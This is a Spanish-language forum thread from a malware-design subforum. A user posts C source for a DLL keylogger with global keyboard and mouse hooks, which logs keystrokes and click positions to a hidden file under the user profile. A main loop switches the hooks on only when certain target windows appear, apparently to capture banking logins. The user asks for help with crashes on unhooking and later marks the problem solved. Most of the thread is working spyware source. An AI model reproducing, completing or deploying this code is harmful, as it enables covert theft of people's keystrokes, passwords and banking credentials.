Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Jaixon Jax en 6 Octubre 2010, 19:49 pm



Título: Problema con UnHookWindowsEx
Publicado por: Jaixon Jax en 6 Octubre 2010, 19:49 pm
  Tengo problemas con estas funciones ....

DLL
Código
  1.  
  2. LRESULT CALLBACK Filtro(int nCode, WORD wParam, DWORD lParam) {
  3.                if(nCode<0){
  4.                   return(CallNextHookEx(gancho,nCode,wParam,lParam));
  5.                   }
  6.                if (lParam & (1 << 31)) {
  7.                   char path[MAX_PATH];
  8.                   FILE *datos;
  9.                   BYTE KeyboardState[256];
  10.                   GetKeyboardState(KeyboardState);
  11.                   WORD CharValue;
  12.                   strcpy(path,getenv("USERPROFILE"));
  13.                   strcat(path,"\\Shellx64\\SPACK\\KLG.KL");
  14.                   if(ToAscii(wParam,0,KeyboardState,&CharValue,0) > 0){
  15.                       if((datos=fopen(path,"at"))==NULL){
  16.                                  return CallNextHookEx(gancho,nCode,wParam,lParam);
  17.                                  }
  18.                          fprintf(datos,"%c",(char)CharValue);
  19.                          fclose(datos);
  20.                   }
  21.                }
  22.  
  23.                return CallNextHookEx(gancho,nCode,wParam,lParam);
  24. }
  25. LRESULT CALLBACK FiltroMouse(int nCode, WORD wParam, LPARAM lParam)
  26. {
  27.                if(nCode!=HC_ACTION )
  28.                {
  29.                   return(CallNextHookEx(ganchom,nCode,wParam,lParam));
  30.                   }  
  31.                else
  32.                  switch(wParam)
  33.                       {
  34.                       case WM_LBUTTONDOWN:
  35.                           {
  36.                            PMOUSEHOOKSTRUCT MH=(PMOUSEHOOKSTRUCT)lParam;
  37.                            GuardarPosicion(MH->pt.x,MH->pt.y) ;
  38.                            Sleep(200);
  39.                            break;
  40.                             }
  41.                       default:
  42.                         return CallNextHookEx(ganchom,nCode,wParam,lParam);
  43.                      }
  44.  
  45. return CallNextHookEx(ganchom,nCode,wParam,lParam);
  46. }
  47. EXTERN_C __declspec(dllexport)int CreaHook(BOOL Instala, HINSTANCE DLLInst,char* DIRKL) {
  48.    char path[MAX_PATH];              
  49.      strcpy(path,getenv("USERPROFILE"));
  50.      strcat(path,"\\Shellx64\\SPACK\\KLG.KL");  
  51.      FILE *datos;
  52.    if(Instala==TRUE) {
  53.                          LoadDllss();
  54.                          if((datos=fopen(path,"at"))!=NULL)
  55.                          {  
  56.                             fprintf(datos,"%s","IniciandoKL");
  57.                             fprintf(datos,"%s",DIRKL);
  58.                             fclose(datos);
  59.                           }
  60.                          gancho=MySetWindowsHook(WH_KEYBOARD,(HOOKPROC)Filtro,DLLInst,0);
  61.  
  62.                          if(gancho==NULL){
  63.                                 return 0;
  64.                          }
  65.                          else{
  66.                                 return 1;
  67.                          }
  68.                     }else{
  69.                         if((datos=fopen(path,"at"))!=NULL)
  70.                          {  
  71.                             fprintf(datos,"%s","TerminandoKL");
  72.                             fprintf(datos,"%s",DIRKL);
  73.                             fclose(datos);
  74.                           }
  75.                         return UnhookWindowsHookEx(gancho);
  76.  
  77.                   }
  78. }
  79. EXTERN_C __declspec(dllexport)int CreaHookMouse(BOOL Instala, HINSTANCE DLLInst,char* DIRKL) {
  80.       char path[MAX_PATH];              
  81.      strcpy(path,getenv("USERPROFILE"));
  82.      strcat(path,"\\Shellx64\\SPACK\\KLG.KL");  
  83.      FILE *datos;            
  84.                  if(Instala==TRUE) {
  85.                          LoadDllss();
  86.                           if((datos=fopen(path,"at"))!=NULL)
  87.                          {  
  88.                             fprintf(datos,"%s","IniciandoBKER");
  89.                             fprintf(datos,"%s",DIRKL);
  90.                             fclose(datos);
  91.                           }
  92.  
  93.                          ganchom=MySetWindowsHook(WH_MOUSE,(HOOKPROC)FiltroMouse,DLLInst,0);
  94.  
  95.                          if(ganchom==NULL){
  96.                                 return 0;
  97.                          }else{
  98.                                 return 1;
  99.                          }
  100.                   }else{
  101.                         if((datos=fopen(path,"at"))!=NULL)
  102.                          {  
  103.                             fprintf(datos,"%s","TerminandoBKER");
  104.                             fprintf(datos,"%s",DIRKL);
  105.                             fclose(datos);
  106.                           }
  107.                       return UnhookWindowsHookEx(ganchom);
  108.  
  109.                     }
  110. }

main
Código
  1. main()
  2. {
  3. HMODULE Dll=LoadLibraryA(DIRKL);
  4. Funcion = (LPFuncion)GetProcAddress(Dll,"CreaHook");
  5. FuncionM = (LPFuncionM)GetProcAddress(Dll,"CreaHookMouse");
  6. //INY=new Inyector(INFO->Masterdir ,CFS->RTKNAMEdll,INFO->SoyAdm);
  7. int lp=0;
  8. IniciarKeyLog();
  9. bool banana=false,banana1=false;;
  10. while(1)
  11.    {
  12.  
  13. strcpy(LINKK,"NULL");
  14. strcpy(LINKVINS,"NULL");
  15. EnumWindows((WNDENUMPROC)EnumProc1,lp);
  16. if(strcmp(LINKK,"NULL")!=0&&!banana)
  17.   {
  18. banana=true;
  19. FuncionM(TRUE,Dll,LINKK);
  20.   }
  21.     if(strcmp(LINKK,"NULL")==0&&banana)
  22.   {
  23.        banana=false;
  24. FuncionM(FALSE,Dll,LINKK);
  25.   }
  26. if((strcmp(LINKVINS,"NULL")!=0||strcmp(LINKK,"NULL")!=0)&&!banana1)
  27.   {
  28. banana1=true;
  29. Funcion(TRUE,Dll,LINKVINS);
  30.   }
  31.     if((strcmp(LINKVINS,"NULL")==0&&strcmp(LINKK,"NULL")==0)&&banana1)
  32.   {
  33.        banana1=false;
  34. Funcion(FALSE,Dll,LINKVINS);
  35.   }
  36. Crono1++;
  37. Crono2++;
  38.     Sleep(3000);
  39.     }
  40. return 0;
  41. }
  42.  

  El pedaso de codigo del main es un extracto del main principal de mi programa ....
En si lo que intento hacer es detectar ciertas ventanas y si estan activas activar los hooks todo funciona de maravilla pero me interesa que al momento d eno existir ninguna ventana de interes los hooks sean desinstalados... por cuestiones de optimizacion ....... Pero al momento de cerrar la ventana de interes, la aplicacion desinstala los hooks perfectamente, pero explorer.exe, iexplorer.exe y firefox.exe rebotan unos feos errores que los obliga ha cerrar  :( y ya saben el escandalo que se forma cuando se cierra explorer por lo que esto no me sirve  :¬¬ claro despues de reiniciar los serviciso tanto la dll como el exe siguen trabajando sin problemas y los hooks quedan desinstalados .... Se que hay que pulir un hook para que detecte teclas invisibles como TAB, F1 las flechas y todas esas cosas pero primero quiero que los hooks se instalen y desinstalen a la perfeccion.......

Algun Cable?

  Tambien se puede dejar ese puñal alli metido y no deshokearlos  :laugh: pero eso seria mucha data irrelevante ...

 Saludos ....

  Se que esto va en el subforo de c++ pero he obtenido mas ayuda aqui que en ese subforo  :P


Título: Re: Problema con UnHookWindowsEx[SOLUCIONADO]
Publicado por: Jaixon Jax en 6 Octubre 2010, 22:33 pm
  No sabia que al hacer esto la dll se carga en la memoria de todo los procesos  :-[
entonces, y mi dll aparte de este hook realiza ciertas operaciones dependiendo del ejecutable que la carga  :silbar: incluyendo explorer.exe, iexplorer.exe y firefox.exe  :D por lo que desencadena un caos general   :xD  ....... [SOLUCIONADO] Pueden cerrar el tema   :silbar: ...